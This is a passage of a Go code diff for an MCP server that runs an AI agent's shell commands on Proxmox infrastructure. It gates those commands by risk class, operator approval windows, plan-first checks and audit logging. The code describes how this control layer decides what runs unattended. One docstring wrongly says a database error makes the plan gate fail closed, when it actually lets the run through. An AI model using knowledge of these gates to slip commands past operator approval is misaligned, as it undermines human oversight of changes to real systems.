slog.Error("mcp: async run panic", "panic", r, "execution_id", id)
|
||||||
|
pool.Exec(context.Background(),
|
||||||
|
`UPDATE executions SET status='failed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||||
|
id, jsonErr("panic: %v", r), int(time.Since(startedAt).Milliseconds()))
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
sink, flush := execlog.New(context.Background(), pool, id, correlationID)
|
||||||
|
out, execErr := sshExecStream(context.Background(), host, user, wrap(command), sink)
|
||||||
|
flush()
|
||||||
|
if execErr != nil {
|
||||||
|
pool.Exec(context.Background(),
|
||||||
|
`UPDATE executions SET status='failed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||||
|
id, jsonErr("%s: %s", execErr.Error(), out), int(time.Since(startedAt).Milliseconds()))
|
||||||
|
slog.Error("mcp: async run failed", "error", execErr, "execution_id", id, "output", out)
|
||||||
|
} else {
|
||||||
|
pool.Exec(context.Background(),
|
||||||
|
`UPDATE executions SET status='completed', result=$2::jsonb, duration_ms=$3, completed_at=now() WHERE entity_id=$1`,
|
||||||
|
id, jsonOut(out), int(time.Since(startedAt).Milliseconds()))
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// isLongRunningCommand detects shell commands containing sleep, wait, or poll
|
||||||
|
// loops that indicate the command will exceed the MCP client timeout (120s).
|
||||||
|
// These commands should use autoRunAsync to avoid the client timing out while
|
||||||
|
// the command continues server-side.
|
||||||
|
func isLongRunningCommand(cmd string) bool {
|
||||||
|
cmd = strings.TrimSpace(cmd)
|
||||||
|
|
||||||
|
// sleep with duration — `sleep 30`, `sleep 1m`, etc.
|
||||||
|
if sleepRe.MatchString(cmd) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// while/shell poll loops with sleep: `while ...; do ... sleep; done`
|
||||||
|
if pollRe.MatchString(cmd) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// standalone wait command
|
||||||
|
if waitRe.MatchString(cmd) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
sleepRe = regexp.MustCompile(`\bsleep\s+\d`)
|
||||||
|
pollRe = regexp.MustCompile(`\bwhile\b.*\bsleep\b`)
|
||||||
|
waitRe = regexp.MustCompile(`\bwait\s+\d|[&;]\s*wait\b`)
|
||||||
|
)
|
||||||
|
|
||||||
func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.UUID, targetSlug, command, purpose, declaredRisk, sessionID string) *mcp.CallToolResult {
|
func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.UUID, targetSlug, command, purpose, declaredRisk, sessionID string) *mcp.CallToolResult {
|
||||||
riskClass := policy.ClassifyCommand(command, declaredRisk)
|
riskClass := policy.ClassifyCommand(command, declaredRisk)
|
||||||
runParams, _ := json.Marshal(map[string]string{"command": command, "purpose": purpose})
|
runParams, _ := json.Marshal(map[string]string{"command": command, "purpose": purpose})
|
||||||
@@ -650,6 +843,35 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
|||||||
return textResult("No plan for this session. Call set_goal then propose_plan before run — even read-only tasks require a one-step plan. A one-step plan (\"Inspect X, report, write back\") is fine for trivial questions; the gate is about ordering, not approval. Read-only commands still auto-execute once a plan exists.")
|
return textResult("No plan for this session. Call set_goal then propose_plan before run — even read-only tasks require a one-step plan. A one-step plan (\"Inspect X, report, write back\") is fine for trivial questions; the gate is about ordering, not approval. Read-only commands still auto-execute once a plan exists.")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Target validation: host-only commands (qm, pct, pvesh, iptables) must
|
||||||
|
// not be dispatched against lxc:/vm: targets — those aren't Proxmox hosts
|
||||||
|
// and don't have these tools. Caught live 2026-08-04: the agent ran
|
||||||
|
// `qm stop 100` against lxc:dns, wasting a turn.
|
||||||
|
|
||||||
|
// Command syntax validation: catch LLM-generated bash bugs before they
|
||||||
|
// hit the shell. The model sometimes inserts literal \n between commands
|
||||||
|
// or puts spaces inside flags — these always fail, so reject early.
|
||||||
|
if syntaxErr := validateCommandSyntax(command); syntaxErr != "" {
|
||||||
|
return textResult(syntaxErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
if cmdPrefix, hostOnly := hostOnlyCommand(command); hostOnly && !strings.HasPrefix(targetSlug, "host:") {
|
||||||
|
hostSuggestion := resolveProxmoxHostSlug(ctx, pool, targetSlug, "")
|
||||||
|
if hostSuggestion == "" {
|
||||||
|
hostSuggestion = "host:hubris or host:strong"
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("Cannot run %q on %s — %s is a Proxmox host command. Use target %s instead.",
|
||||||
|
cmdPrefix, targetSlug, cmdPrefix, hostSuggestion))
|
||||||
|
}
|
||||||
|
|
||||||
|
// systemctl and docker work on hosts and LXCs, but not VMs.
|
||||||
|
if cmdPrefix, hostLxc := hostLxcCommand(command); hostLxc {
|
||||||
|
if !strings.HasPrefix(targetSlug, "host:") && !strings.HasPrefix(targetSlug, "lxc:") {
|
||||||
|
return textResult(fmt.Sprintf("Cannot run %q on %s — %s only works on host:* or lxc:* targets.",
|
||||||
|
cmdPrefix, targetSlug, cmdPrefix))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Dedup: an identical pending command (same target, command, and
|
// Dedup: an identical pending command (same target, command, and
|
||||||
// purpose) blocks a re-request — stops a tool-calling loop from queuing
|
// purpose) blocks a re-request — stops a tool-calling loop from queuing
|
||||||
// the same approval repeatedly.
|
// the same approval repeatedly.
|
||||||
@@ -686,7 +908,20 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
|||||||
}
|
}
|
||||||
|
|
||||||
id, _ := uuid.NewV7()
|
id, _ := uuid.NewV7()
|
||||||
correlationID := uuid.New().String()
|
// Correlate the execution to the chat session that asked for it. This was
|
||||||
|
// a fresh random UUID per execution, which correlated nothing — every row
|
||||||
|
// had a unique value, so the correlation_id column and the
|
||||||
|
// ?correlation_id= filter could only ever match one execution.
|
||||||
|
//
|
||||||
|
// Using the session id makes the field mean what it says ("what did this
|
||||||
|
// session do?") and is what lets the chat tail live output: execution
|
||||||
|
// events carry correlation_id, so the UI can match them to the session on
|
||||||
|
// screen without a lookup. Falls back to a random id when there is no
|
||||||
|
// session to scope to, keeping the column non-empty.
|
||||||
|
correlationID := sessionID
|
||||||
|
if correlationID == "" || correlationID == "ephemeral" {
|
||||||
|
correlationID = uuid.New().String()
|
||||||
|
}
|
||||||
execName := "run on " + targetSlug + " (" + id.String() + ")"
|
execName := "run on " + targetSlug + " (" + id.String() + ")"
|
||||||
execSlug := "exec:" + targetSlug + ":" + id.String()
|
execSlug := "exec:" + targetSlug + ":" + id.String()
|
||||||
if _, err := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'execution', $3, '{}')`,
|
if _, err := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'execution', $3, '{}')`,
|
||||||
@@ -711,21 +946,79 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
|||||||
SELECT 1 FROM relationships
|
SELECT 1 FROM relationships
|
||||||
WHERE source_id = t.id AND target_id = $1 AND type = 'involves' AND valid_to IS NULL)`,
|
WHERE source_id = t.id AND target_id = $1 AND type = 'involves' AND valid_to IS NULL)`,
|
||||||
id, "task:"+sessionID)
|
id, "task:"+sessionID)
|
||||||
|
// Link execution to session for auto-continuation (nomos_plan_executions
|
||||||
|
// was always empty — executions were never traceable back to sessions).
|
||||||
|
if sid, serr := uuid.Parse(sessionID); serr == nil {
|
||||||
|
pool.Exec(ctx, `
|
||||||
|
INSERT INTO nomos_plan_executions (execution_id, session_id)
|
||||||
|
VALUES ($1, $2) ON CONFLICT (execution_id) DO NOTHING`, id, sid)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if riskClass == policy.RiskReadOnly {
|
// Auto-classify: write the classification decision to the classifications
|
||||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
// table (was always empty — 0 rows despite 1,884 executions). The route
|
||||||
if rerr != nil {
|
// matches the auto-run vs queue-for-approval decision below.
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
classRoute := "escalate"
|
||||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
if riskClass == policy.RiskReadOnly || riskClass == policy.RiskReversibleLow {
|
||||||
|
classRoute = "auto-act"
|
||||||
|
} else if riskClass == policy.RiskConfigMutation && assentWindowActive(ctx, pool, agentID, sessionID) {
|
||||||
|
classRoute = "auto-act"
|
||||||
|
} else if riskClass == policy.RiskDestructive && destructiveWindowActive(ctx, pool, agentID, targetSlug, sessionID) {
|
||||||
|
classRoute = "auto-act"
|
||||||
|
}
|
||||||
|
classReason, _ := json.Marshal(map[string]string{
|
||||||
|
"command": command, "purpose": purpose, "target": targetSlug, "declared_risk": declaredRisk,
|
||||||
|
})
|
||||||
|
classID, _ := uuid.NewV7()
|
||||||
|
pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'classification', $3, '{}')`,
|
||||||
|
classID, "classification:"+classID.String(), "classification for "+execSlug)
|
||||||
|
pool.Exec(ctx, `INSERT INTO classifications (entity_id, action, risk_class, route, reasoning, correlation_id)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $6)`,
|
||||||
|
classID, actionCol, riskClass, classRoute, classReason, correlationID)
|
||||||
|
// Link classification to execution.
|
||||||
|
pool.Exec(ctx, `UPDATE executions SET classification_id = $2 WHERE entity_id = $1`, id, classID)
|
||||||
|
|
||||||
|
// Audit: record the execution creation with session_id for traceability.
|
||||||
|
// Every run call, whether auto-run or queued-for-approval, gets an audit
|
||||||
|
// entry so the agent's activity is traceable back to the originating session.
|
||||||
|
var auditSessionID *uuid.UUID
|
||||||
|
if sessionID != "" && sessionID != "ephemeral" {
|
||||||
|
if sid, serr := uuid.Parse(sessionID); serr == nil {
|
||||||
|
auditSessionID = &sid
|
||||||
}
|
}
|
||||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
}
|
||||||
|
_ = observability.Audit(ctx, sqlcgen.New(pool), "agent", "nomos", "run",
|
||||||
|
&id, "POST", "/mcp", correlationID, auditSessionID,
|
||||||
|
map[string]any{"command": command, "target": targetSlug, "risk_class": riskClass, "purpose": purpose})
|
||||||
|
|
||||||
|
// read_only and reversible_low both run unattended, as seeds/policy.yaml
|
||||||
|
// and .agents/OIKOS.md declare ("reversible_low — restart, cache clear,
|
||||||
|
// sync pull. Unattended + ledger.").
|
||||||
|
//
|
||||||
|
// reversible_low had no branch here, so it fell through to the gate. That
|
||||||
|
// looked stricter but was actually perverse: computeCommandRisk never
|
||||||
|
// returns reversible_low — the class can ONLY arise when the agent
|
||||||
|
// declares it on a command the classifier already scored read_only
|
||||||
|
// (ClassifyCommand keeps the higher of the two). So an agent that
|
||||||
|
// honestly flagged "this restarts something" got gated, while the same
|
||||||
|
// command with no declaration auto-ran. That penalised candor and gave
|
||||||
|
// the agent a reason to stay quiet.
|
||||||
|
//
|
||||||
|
// Auto-running it is no more permissive than the read_only branch above,
|
||||||
|
// because read_only is the only computed class it can accompany. An
|
||||||
|
// agent still cannot talk a command DOWN: declaring reversible_low on
|
||||||
|
// something computed as config_mutation keeps config_mutation.
|
||||||
|
if riskClass == policy.RiskReadOnly || riskClass == policy.RiskReversibleLow {
|
||||||
|
if isLongRunningCommand(command) {
|
||||||
|
autoRunAsync(ctx, pool, id, targetSlug, command)
|
||||||
|
return textResult(fmt.Sprintf("run on %s (%s, async): started — execution %s. Poll with get_execution_status(%s) for result.",
|
||||||
|
targetSlug, riskClass, id, id))
|
||||||
|
}
|
||||||
|
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||||
if xerr != nil {
|
if xerr != nil {
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
|
||||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||||
}
|
}
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
return textResult(fmt.Sprintf("run on %s (%s, auto): %s", targetSlug, riskClass, out))
|
||||||
return textResult(fmt.Sprintf("run on %s (read_only, auto): %s", targetSlug, out))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Assent window: if the operator recently approved a plan in this
|
// Assent window: if the operator recently approved a plan in this
|
||||||
@@ -739,17 +1032,16 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
|||||||
// consent. The assent window, opened only on operator approval, is the
|
// consent. The assent window, opened only on operator approval, is the
|
||||||
// sole gate for config_mutation auto-run.)
|
// sole gate for config_mutation auto-run.)
|
||||||
if riskClass == policy.RiskConfigMutation && assentWindowActive(ctx, pool, agentID, sessionID) {
|
if riskClass == policy.RiskConfigMutation && assentWindowActive(ctx, pool, agentID, sessionID) {
|
||||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
if isLongRunningCommand(command) {
|
||||||
if rerr != nil {
|
autoRunAsync(ctx, pool, id, targetSlug, command)
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
slog.Info("mcp: run async via assent window", "target", targetSlug, "execution_id", id)
|
||||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
return textResult(fmt.Sprintf("run on %s (config_mutation, async via assent window): started — execution %s. Poll with get_execution_status(%s) for result.",
|
||||||
|
targetSlug, id, id))
|
||||||
}
|
}
|
||||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||||
if xerr != nil {
|
if xerr != nil {
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
|
||||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||||
}
|
}
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
|
||||||
slog.Info("mcp: run auto-executed via assent window", "target", targetSlug, "execution_id", id)
|
slog.Info("mcp: run auto-executed via assent window", "target", targetSlug, "execution_id", id)
|
||||||
return textResult(fmt.Sprintf("run on %s (config_mutation, auto via assent window): %s", targetSlug, out))
|
return textResult(fmt.Sprintf("run on %s (config_mutation, auto via assent window): %s", targetSlug, out))
|
||||||
}
|
}
|
||||||
@@ -761,23 +1053,23 @@ func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.
|
|||||||
// operator isn't asked to re-type "I confirm" for every single command
|
// operator isn't asked to re-type "I confirm" for every single command
|
||||||
// against the thing they just confirmed.
|
// against the thing they just confirmed.
|
||||||
if riskClass == policy.RiskDestructive && destructiveWindowActive(ctx, pool, agentID, targetSlug, sessionID) {
|
if riskClass == policy.RiskDestructive && destructiveWindowActive(ctx, pool, agentID, targetSlug, sessionID) {
|
||||||
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
|
if isLongRunningCommand(command) {
|
||||||
if rerr != nil {
|
autoRunAsync(ctx, pool, id, targetSlug, command)
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
|
slog.Info("mcp: run async via destructive window", "target", targetSlug, "execution_id", id)
|
||||||
return textResult(fmt.Sprintf("resolve target: %v", rerr))
|
return textResult(fmt.Sprintf("run on %s (destructive, async via confirmed-target window): started — execution %s. Poll with get_execution_status(%s) for result.",
|
||||||
|
targetSlug, id, id))
|
||||||
}
|
}
|
||||||
out, xerr := sshExec(ctx, host, user, wrap(command))
|
out, xerr := autoRun(ctx, pool, id, targetSlug, command)
|
||||||
if xerr != nil {
|
if xerr != nil {
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
|
|
||||||
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
|
||||||
}
|
}
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
|
|
||||||
slog.Info("mcp: run auto-executed via destructive window", "target", targetSlug, "execution_id", id)
|
slog.Info("mcp: run auto-executed via destructive window", "target", targetSlug, "execution_id", id)
|
||||||
return textResult(fmt.Sprintf("run on %s (destructive, auto via confirmed-target window): %s", targetSlug, out))
|
return textResult(fmt.Sprintf("run on %s (destructive, auto via confirmed-target window): %s", targetSlug, out))
|
||||||
}
|
}
|
||||||
|
|
||||||
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
|
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
|
||||||
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
|
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
|
||||||
|
markSessionAwaitingApproval(ctx, pool, sessionID)
|
||||||
confirmNote := ""
|
confirmNote := ""
|
||||||
if riskClass == policy.RiskDestructive {
|
if riskClass == policy.RiskDestructive {
|
||||||
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
|
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
|
||||||
@@ -833,22 +1125,112 @@ func executeApprovedViaAPI(ctx context.Context, execID uuid.UUID, targetSlug, ac
|
|||||||
// for config_mutation auto-run now. See sessionHasPlan for the plan-existence
|
// for config_mutation auto-run now. See sessionHasPlan for the plan-existence
|
||||||
// check used by the P1 plan-first gate.
|
// check used by the P1 plan-first gate.
|
||||||
|
|
||||||
|
// hostOnlyCommands maps command prefixes that are only valid on Proxmox host
|
||||||
|
// targets (not LXCs or VMs). Running these against an lxc: or vm: target
|
||||||
|
// always fails with "command not found" and wastes a turn.
|
||||||
|
var hostOnlyCommands = map[string]bool{
|
||||||
|
"qm": true,
|
||||||
|
"pct": true,
|
||||||
|
"pvesh": true,
|
||||||
|
"iptables": true,
|
||||||
|
}
|
||||||
|
|
||||||
|
// hostLxcCommands maps command prefixes valid on host:* and lxc:* but not vm:*.
|
||||||
|
var hostLxcCommands = map[string]bool{
|
||||||
|
"systemctl": true,
|
||||||
|
"docker": true,
|
||||||
|
}
|
||||||
|
|
||||||
|
// hostOnlyCommand checks whether the leading word of cmd is a host-only
|
||||||
|
// command. Returns the command word and true if the command can only run on
|
||||||
|
// a host: target.
|
||||||
|
func hostOnlyCommand(cmd string) (string, bool) {
|
||||||
|
trimmed := strings.TrimSpace(cmd)
|
||||||
|
parts := strings.Fields(trimmed)
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
first := parts[0]
|
||||||
|
// Check for shell wrappers: bash -c 'actual_cmd', sh -c 'actual_cmd'
|
||||||
|
if (first == "bash" || first == "sh") && len(parts) >= 3 && parts[1] == "-c" {
|
||||||
|
// The actual command is inside the -c argument; extract the first word.
|
||||||
|
// This handles `bash -c 'qm stop 100'` but not deeply nested wrappers.
|
||||||
|
actual := strings.Trim(strings.Join(parts[2:], " "), "'\"")
|
||||||
|
if inner := strings.Fields(actual); len(inner) > 0 {
|
||||||
|
first = inner[0]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Strip path: /usr/sbin/qm → qm
|
||||||
|
if idx := strings.LastIndexByte(first, '/'); idx >= 0 {
|
||||||
|
first = first[idx+1:]
|
||||||
|
}
|
||||||
|
return first, hostOnlyCommands[first]
|
||||||
|
}
|
||||||
|
|
||||||
|
// hostLxcCommand checks whether the leading word of cmd is a command valid on
|
||||||
|
// host:* and lxc:* targets but not vm:*. Returns the command word and true if
|
||||||
|
// the command is restricted to host/lxc.
|
||||||
|
func hostLxcCommand(cmd string) (string, bool) {
|
||||||
|
trimmed := strings.TrimSpace(cmd)
|
||||||
|
parts := strings.Fields(trimmed)
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
first := parts[0]
|
||||||
|
if idx := strings.LastIndexByte(first, '/'); idx >= 0 {
|
||||||
|
first = first[idx+1:]
|
||||||
|
}
|
||||||
|
return first, hostLxcCommands[first]
|
||||||
|
}
|
||||||
|
|
||||||
|
// validateCommandSyntax checks for common LLM-generated bash errors that always
|
||||||
|
// fail at the shell. Returns an error message or "" if the command looks valid.
|
||||||
|
func validateCommandSyntax(cmd string) string {
|
||||||
|
// Reject literal \n (the LLM sometimes writes `echo "---" && \n curl ...`
|
||||||
|
// — the \n is literal in the command string, not an actual newline).
|
||||||
|
if strings.Contains(cmd, "\\n") {
|
||||||
|
return fmt.Sprintf("Command contains literal '\\n' — use ';' or '&&' between commands, not a literal backslash-n. Command: %q", cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reject `&& \n` patterns (the LLM writes `cmd1 && \n cmd2` — the \n is
|
||||||
|
// a literal newline that bash interprets as a command separator, but the
|
||||||
|
// leading backslash makes it a syntax error).
|
||||||
|
if andBackslashRe.MatchString(cmd) {
|
||||||
|
return fmt.Sprintf("Command contains '&&' followed by a literal backslash-newline — remove the backslash or use ';' instead. Command: %q", cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reject `\` at end of command with no continuation (last line ends with
|
||||||
|
// backslash but there's nothing after it).
|
||||||
|
trimmed := strings.TrimSpace(cmd)
|
||||||
|
if strings.HasSuffix(trimmed, "\\") {
|
||||||
|
return fmt.Sprintf("Command ends with a backslash but has nothing after it to continue. Remove the trailing '\\'. Command: %q", cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Warn on common flag typos: `head - n`, `grep - i`, `tail - n`, etc.
|
||||||
|
// These are space-between-flag-and-value errors the LLM produces.
|
||||||
|
if flagSpaceRe.MatchString(cmd) {
|
||||||
|
return fmt.Sprintf("Command has a space between a flag and its value (e.g. 'head - n' instead of 'head -n'). Remove the space. Command: %q", cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
var andBackslashRe = regexp.MustCompile(`&&\s*\\\s*\n`)
|
||||||
|
var flagSpaceRe = regexp.MustCompile(`\b(head|tail|grep|sed|awk|sort|uniq|wc)\s+(-\w)\s+\w`)
|
||||||
|
|
||||||
// sessionHasPlan reports whether this nomos session has any plan step on
|
// sessionHasPlan reports whether this nomos session has any plan step on
|
||||||
// record (any generation, any status). Used by the P1 plan-first gate in
|
// record that isn't `replaced`. Replaced steps (from session reopen via
|
||||||
// classifyAndGate to refuse `run` before `propose_plan` has been called.
|
// store.reopenSession) don't count — the agent must propose fresh plan before
|
||||||
// A `replaced` step (from a prior plan generation that was superseded by a
|
// any `run`. Fails closed (returns true) when the query errors so a transient
|
||||||
// follow-up sub-task — see store.reopenSession) still counts: it proves the
|
// DB issue doesn't block an otherwise-valid run.
|
||||||
// agent once framed a plan for this session, and the reopen path guarantees a
|
|
||||||
// fresh `propose_plan` will run before the next `run` anyway. Fails closed
|
|
||||||
// (returns true) when the query errors so a transient DB issue doesn't block
|
|
||||||
// an otherwise-valid run.
|
|
||||||
func sessionHasPlan(ctx context.Context, pool *db.Pool, sessionID string) bool {
|
func sessionHasPlan(ctx context.Context, pool *db.Pool, sessionID string) bool {
|
||||||
if sessionID == "" {
|
if sessionID == "" {
|
||||||
return true // no session → no gate (direct MCP call from a script)
|
return true // no session → no gate (direct MCP call from a script)
|
||||||
}
|
}
|
||||||
var count int
|
var count int
|
||||||
if err := pool.QueryRow(ctx,
|
if err := pool.QueryRow(ctx,
|
||||||
`SELECT COUNT(*) FROM session_plan_steps WHERE session_id = $1`,
|
`SELECT COUNT(*) FROM session_plan_steps
|
||||||
|
WHERE session_id = $1 AND status <> 'replaced'`,
|
||||||
sessionID).Scan(&count); err != nil {
|
sessionID).Scan(&count); err != nil {
|
||||||
return true // fail open on DB error — don't block work over a flake
|
return true // fail open on DB error — don't block work over a flake
|
||||||
}
|
}
|
||||||
@@ -1065,6 +1447,49 @@ func createApproval(ctx context.Context, pool *db.Pool, execID, targetID uuid.UU
|
|||||||
map[string]any{"action": action, "params": params, "risk_class": riskClass})
|
map[string]any{"action": action, "params": params, "risk_class": riskClass})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// markSessionAwaitingApproval flips a session to awaiting_input the moment
|
||||||
|
// one of its gated executions is queued for approval — mirrors what
|
||||||
|
// askOperator does for session_questions (cmd/nomos/store.go's askOperator),
|
||||||
|
// so a pending execution approval reads as "needs input" to both the
|
||||||
|
// frontend's Overview board (which only checks agent_sessions.status) and
|
||||||
|
// the idle-sweep safety net (staleGoalSessions, cmd/nomos/store.go, which
|
||||||
|
// already excludes awaiting_input from its stale-task sweep). Before this, a
|
||||||
|
// task blocked on a config_mutation/destructive approval just sat at
|
||||||
|
// 'executing' — indistinguishable from a task still genuinely working — so
|
||||||
|
// the idle sweep would eventually nudge it and then auto-close it with
|
||||||
|
// outcome=partial while the approval was still sitting there undecided.
|
||||||
|
// The httpapi package's DecideApproval flips the session back out once the
|
||||||
|
// approval is approved/denied/revoked (internal/httpapi/approvals.go).
|
||||||
|
//
|
||||||
|
// No-op for sessionID=="" (a direct MCP call with no nomos session) or a
|
||||||
|
// session that's already terminal/already awaiting_input — the status IN
|
||||||
|
// guard makes this safe to call unconditionally from classifyAndGate.
|
||||||
|
func markSessionAwaitingApproval(ctx context.Context, pool *db.Pool, sessionID string) {
|
||||||
|
if sessionID == "" || sessionID == "ephemeral" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tag, err := pool.Exec(ctx, `
|
||||||
|
UPDATE agent_sessions SET status = 'awaiting_input', last_active_at = now()
|
||||||
|
WHERE id = $1 AND status IN ('active', 'planning', 'executing')`, sessionID)
|
||||||
|
if err != nil || tag.RowsAffected() == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = observability.Event(ctx, sqlcgen.New(pool), "task.status", sessionTaskEntity(ctx, pool, sessionID),
|
||||||
|
"info", "nomos", sessionID, map[string]any{"status": "awaiting_input", "reason": "execution_pending_approval"})
|
||||||
|
}
|
||||||
|
|
||||||
|
// sessionTaskEntity resolves a session's own task-entity id, for anchoring
|
||||||
|
// events to the right node in the graph — mirrors cmd/nomos/store.go's
|
||||||
|
// (unexported) taskEntityPtr; duplicated here since that's a different
|
||||||
|
// package's private method.
|
||||||
|
func sessionTaskEntity(ctx context.Context, pool *db.Pool, sessionID string) *uuid.UUID {
|
||||||
|
var id uuid.UUID
|
||||||
|
if err := pool.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, sessionID).Scan(&id); err != nil || id == uuid.Nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &id
|
||||||
|
}
|
||||||
|
|
||||||
// inspectPathAcrossTargets is the bulk fact-gathering helper behind the
|
// inspectPathAcrossTargets is the bulk fact-gathering helper behind the
|
||||||
// inspect_path MCP tool (plans/2026-07-18-session-review-three-sessions.md
|
// inspect_path MCP tool (plans/2026-07-18-session-review-three-sessions.md
|
||||||
// P1.5). For each target slug, it runs a single read-only shell command
|
// P1.5). For each target slug, it runs a single read-only shell command
|
||||||
|
|||||||
159
internal/mcp/sshexec_test.go
Normal file
159
internal/mcp/sshexec_test.go
Normal file
@@ -0,0 +1,159 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
// Streaming tests for sshExecStream against a real SSH endpoint. Guarded by
|
||||||
|
// OIKOS_SSH_TEST_HOST — skipped when unset. Run with:
|
||||||
|
//
|
||||||
|
// OIKOS_SSH_TEST_HOST=localhost OIKOS_SSH_USER=$USER \
|
||||||
|
// OIKOS_SSH_KEY_PATH=~/.ssh/id_ed25519 go test ./internal/mcp/ -run TestSSHExecStream
|
||||||
|
//
|
||||||
|
// These matter because the whole point of the change is behaviour that only
|
||||||
|
// appears over time: that output arrives *before* the command exits, and that
|
||||||
|
// a command killed mid-flight still leaves what it printed.
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func sshTestHost(t *testing.T) string {
|
||||||
|
t.Helper()
|
||||||
|
host := os.Getenv("OIKOS_SSH_TEST_HOST")
|
||||||
|
if host == "" {
|
||||||
|
t.Skip("OIKOS_SSH_TEST_HOST not set — skipping live SSH test")
|
||||||
|
}
|
||||||
|
return host
|
||||||
|
}
|
||||||
|
|
||||||
|
// The core claim: chunks reach the sink while the command is still running,
|
||||||
|
// not in one lump at the end. A command that prints, sleeps, then prints must
|
||||||
|
